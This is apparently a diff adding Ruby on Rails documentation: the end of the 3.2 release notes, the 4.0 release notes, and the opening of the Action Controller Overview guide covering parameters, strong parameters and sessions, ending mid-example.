+* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
+
+* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
+
+* Deprecated `method_missing` in favour of `action_missing` for missing actions.
+
+* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
+
+### Action Dispatch
+
+* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
+
+* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
+
+#### Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.
+
+### Action View
+
+* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.
+
+ ```erb
+ <%= form_for @post do |f| %>
+ <%= f.button %>
+ <% end %>
+ ```
+
+* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+ ```erb
+ <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+ <%= f.label :version, 'Version' %>:
+ <%= f.text_field :version %>
+ <% end %>
+ ```
+
+* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
+
+* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+ ```ruby
+ @items.each do |item|
+ content_tag_for(:li, item) do
+ Title: <%= item.title %>
+ end
+ end
+ ```
+
+ You can do this:
+
+ ```ruby
+ content_tag_for(:li, @items) do |item|
+ Title: <%= item.title %>
+ end
+ ```
+
+* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.
+
+#### Deprecations
+
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+
+### Sprockets
+
+* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.
+
+Active Record
+-------------
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
+
+* Implemented `ActiveRecord::Relation#explain`.
+
+* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ]
+ end
+
+ u = User.new(color: 'black', homepage: '37signals.com')
+ u.color # Accessor stored attribute
+ u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+ ```
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+ ```
+ rake db:migrate SCOPE=blog
+ ```
+
+* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
+
+* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+ ```ruby
+ Client.where(:active => true).pluck(:id)
+ # SELECT id from clients where active = 1
+ ```
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add `ActiveRecord::Relation#uniq` for generating unique queries.
+
+ ```ruby
+ Client.select('DISTINCT name')
+ ```
+
+ ..can be written as:
+
+ ```ruby
+ Client.select(:name).uniq
+ ```
+
+ This also allows you to revert the uniqueness in a relation:
+
+ ```ruby
+ Client.select(:name).uniq.uniq(false)
+ ```
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+
+ ```ruby
+ has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+ ```
+
+* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+ ```ruby
+ User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+ ```
+
+* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.
+
+ This makes it possible to write the following:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ transaction do
+ lock!
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+ as:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ with_lock do
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+### Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+ ```ruby
+ Thread.new { Post.find(1) }.join
+ ```
+
+ It should be changed to close the database connection at the end of the thread:
+
+ ```ruby
+ Thread.new {
+ Post.find(1)
+ Post.connection.close
+ }.join
+ ```
+
+ Only people who spawn threads in their application code need to worry about this change.
+
+* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.
+
+ ```ruby
+ class Project < ActiveRecord::Base
+ self.table_name = "project"
+ end
+ ```
+
+ Or define your own `self.table_name` method:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ def self.table_name
+ "special_" + super
+ end
+ end
+
+ Post.table_name # => "special_posts"
+
+ ```
+
+Active Model
+------------
+
+* Add `ActiveModel::Errors#added?` to check if a specific error has been added.
+
+* Add ability to define strict validations with `strict => true` that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+### Deprecations
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.
+
+Active Resource
+---------------
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+Active Support
+--------------
+
+* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.
+
+ ```ruby
+ Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+ Logger.tagged("BCX") { Logger.info "Stuff" }
+ # Logs "[BCX] Stuff"
+
+ Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+ # Logs "[BCX] [Jason] Stuff"
+
+ Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+ # Logs "[BCX] [Jason] Stuff"
+ ```
+
+* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
+
+* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
+
+* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
+
+* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
+
+* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.
+
+ ```ruby
+ Event.where(:created_at => Time.now.all_week)
+ Event.where(:created_at => Time.now.all_day)
+ ```
+
+* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
+
+* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
+
+* Added `ActiveSupport::Cache::NullStore` for use in development and testing.
+
+* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.
+
+### Deprecations
+
+* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
+
+* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
+
+* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
+
+* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.
+
+* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+ ```ruby
+ f = File.open('foo.log', 'w')
+ f.sync = true
+ ActiveSupport::BufferedLogger.new f
+ ```
+
+* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.

+Ruby on Rails 4.0 Release Notes
+===============================
+
+Highlights in Rails 4.0:
+
+* Ruby 2.0 preferred; 1.9.3+ required
+* Strong Parameters
+* Turbolinks
+* Russian Doll Caching
+
+These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+
+
+Creating a Rails 4.0 application
+--------------------------------
+
+```
+ You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+

+
+Railties
+--------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+
+* Your app's executables now live in the `bin/` dir. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.
+
+* Threadsafe on by default
+
+### Deprecations
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded.
+
+* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+### Deprecations
+
+Active Model
+------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with ActionPack out of box.
+
+### Deprecations
+
+Active Support
+--------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore.
+
+* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.
+
+* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+
+* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+
+### Deprecations
+
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+
+* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
+
+* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).
+
+* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby stdlib.
+
+* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
+
+Action Pack
+-----------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
+
+### Deprecations
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+ * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+ The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible).
+ The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+ * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+
+ * New method `revert` will revert a whole migration or the given block.
+ If migrating down, the given migration / block is run normally.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+
+* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
+
+* Add `Relation#load` to explicitly load the record and return `self`.
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+
+* Remove IdentityMap.
+
+* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.
+
+* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+* Allows PostgreSQL hstore records to be created.
+
+### Deprecations
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
+ how you can rewrite the code:
+
+ * `find_all_by_...` can be rewritten using `where(...)`.
+ * `find_last_by_...` can be rewritten using `where(...).last`.
+ * `scoped_by_...` can be rewritten using `where(...)`.
+ * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`.
+ * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`.
+ * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`.

+Action Controller Overview
+==========================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application.
+
+After reading this guide, you will know:
+
+* How to follow the flow of a request through a controller.
+* How to restrict parameters passed to your controller.
+* Why and how to store data in the session or cookies.
+* How to work with filters to execute code during request processing.
+* How to use Action Controller's built-in HTTP authentication.
+* How to stream data directly to the user's browser.
+* How to filter sensitive parameters so they do not appear in the application's log.
+* How to deal with exceptions that may be raised during request processing.
+
+--------------------------------------------------------------------------------
+
+What Does a Controller Do?
+--------------------------
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+
+Controller Naming Convention
+----------------------------
+
+The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
+
+Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
+
+NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form.
+
+
+Methods and Actions
+-------------------
+
+A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+```ruby
+class ClientsController < ApplicationController
+ def new
+ end
+end
+```
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+
+```ruby
+def new
+ @client = Client.new
+end
+```
+
+The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
+
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+Parameters
+----------
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data be [...]
+
+```ruby
+class ClientsController < ApplicationController
+ # This action uses query string parameters because it gets run
+ # by an HTTP GET request, but this does not make any difference
+ # to the way in which the parameters are accessed. The URL for
+ # this action would look like this in order to list activated
+ # clients: /clients?status=activated
+ def index
+ if params[:status] == "activated"
+ @clients = Client.activated
+ else
+ @clients = Client.inactivated
+ end
+ end
+
+ # This action uses POST parameters. They are most likely coming
+ # from an HTML form which the user has submitted. The URL for
+ # this RESTful request will be "/clients", and the data will be
+ # sent as part of the request body.
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ redirect_to @client
+ else
+ # This line overrides the default rendering behavior, which
+ # would have been to render the "create" view.
+ render "new"
+ end
+ end
+end
+```
+
+### Hash and Array Parameters
+
+The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+```
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+```
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+```html
+<form accept-charset="UTF-8" action="/clients" method="post">
+ <input type="text" name="client[name]" value="Acme" />
+ <input type="text" name="client[phone]" value="12345" />
+ <input type="text" name="client[address][postcode]" value="12345" />
+ <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+```
+
+When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
+
+Note that the `params` hash is actually an instance of `ActiveSupport::HashWithIndifferentAccess`, which acts like a hash but lets you use symbols and strings interchangeably as keys.
+
+### JSON parameters
+
+If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally.
+
+So for example, if you are sending this JSON content:
+
+```json
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+```
+
+You'll get `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
+
+Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+
+```json
+{ "name": "acme", "address": "123 Carrot Street" }
+```
+
+And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:
+
+```ruby
+{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" } }
+```
+
+You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+
+NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`
+
+### Routing Parameters
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+```ruby
+match '/clients/:status' => 'clients#index', foo: 'bar'
+```
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
+
+### `default_url_options`
+
+You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+
+```ruby
+class ApplicationController < ActionController::Base
+ def default_url_options
+ { locale: I18n.locale }
+ end
+end
+```
+
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in `url_for` calls.
+
+If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+
+### Strong Parameters
+
+With strong parameters, Action Controller parameters are forbidden to
+be used in Active Model mass assignments until they have been
+whitelisted. This means you'll have to make a conscious choice about
+which attributes to allow for mass updating and thus prevent
+accidentally exposing that which shouldn't be exposed.
+
+In addition, parameters can be marked as required and flow through a
+predefined raise/rescue flow to end up as a 400 Bad Request with no
+effort.
+
+```ruby
+class PeopleController < ActionController::Base
+ # This will raise an ActiveModel::ForbiddenAttributes exception
+ # because it's using mass assignment without an explicit permit
+ # step.
+ def create
+ Person.create(params[:person])
+ end
+
+ # This will pass with flying colors as long as there's a person key
+ # in the parameters, otherwise it'll raise a
+ # ActionController::ParameterMissing exception, which will get
+ # caught by ActionController::Base and turned into that 400 Bad
+ # Request reply.
+ def update
+ person = current_account.people.find(params[:id])
+ person.update_attributes!(person_params)
+ redirect_to person
+ end
+
+ private
+ # Using a private method to encapsulate the permissible parameters
+ # is just a good pattern since you'll be able to reuse the same
+ # permit list between create and update. Also, you can specialize
+ # this method with per-user checking of permissible attributes.
+ def person_params
+ params.require(:person).permit(:name, :age)
+ end
+end
+```
+
+#### Permitted Scalar Values
+
+Given
+
+```ruby
+params.permit(:id)
+```
+
+the key `:id` will pass the whitelisting if it appears in `params` and
+it has a permitted scalar value associated. Otherwise the key is going
+to be filtered out, so arrays, hashes, or any other objects cannot be
+injected.
+
+The permitted scalar types are `String`, `Symbol`, `NilClass`,
+`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
+`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` and
+`Rack::Test::UploadedFile`.
+
+To declare that the value in `params` must be an array of permitted
+scalar values map the key to an empty array:
+
+```ruby
+params.permit(:id => [])
+```
+
+To whitelist an entire hash of parameters, the `permit!` method can be
+used:
+
+```ruby
+params.require(:log_entry).permit!
+```
+
+This will mark the `:log_entry` parameters hash and any subhash of it
+permitted. Extreme care should be taken when using `permit!` as it
+will allow all current and future model attributes to be
+mass-assigned.
+
+#### Nested Parameters
+
+You can also use permit on nested parameters, like:
+
+```ruby
+params.permit(:name, {:emails => []},
+ :friends => [ :name,
+ { :family => [ :name ], :hobbies => [] }])
+```
+
+This declaration whitelists the `name`, `emails` and `friends`
+attributes. It is expected that `emails` will be an array of permitted
+scalar values and that `friends` will be an array of resources with
+specific attributes : they should have a `name` attribute (any
+permitted scalar values allowed), a `hobbies` attribute as an array of
+permitted scalar values, and a `family` attribute which is restricted
+to having a `name` (any permitted scalar values allowed, too).
+
+#### More Examples
+
+You want to also use the permitted attributes in the `new`
+action. This raises the problem that you can't use `require` on the
+root key because normally it does not exist when calling `new`:
+
+```ruby
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+```
+
+`accepts_nested_attributes_for` allows you to update and destroy
+associated records. This is based on the `id` and `_destroy`
+parameters:
+
+```ruby
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+```
+
+Hashes with integer keys are treated differently and you can declare
+the attributes as if they were direct children. You get these kinds of
+parameters when you use `accepts_nested_attributes_for` in combination
+with a `has_many` association:
+
+```ruby
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+# "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+# "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+```
+
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all your
+whitelisting problems. However you can easily mix the API with your
+own code to adapt to your situation.
+
+Imagine a scenario where you want to whitelist an attribute
+containing a hash with any keys. Using strong parameters you can't
+allow a hash with any keys but you can use a simple assignment to get
+the job done:
+
+```ruby
+def product_params
+ params.require(:product).permit(:name).tap do |whitelisted|
+ whitelisted[:data] = params[:product][:data]
+ end
+end
+```
+
+Session
+-------
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
+* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
+* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
+* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-pr [...]
+
+The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is th [...]
+
+Read more about session storage in the [Security Guide](security.html).
+
+If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:
+
+```ruby
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
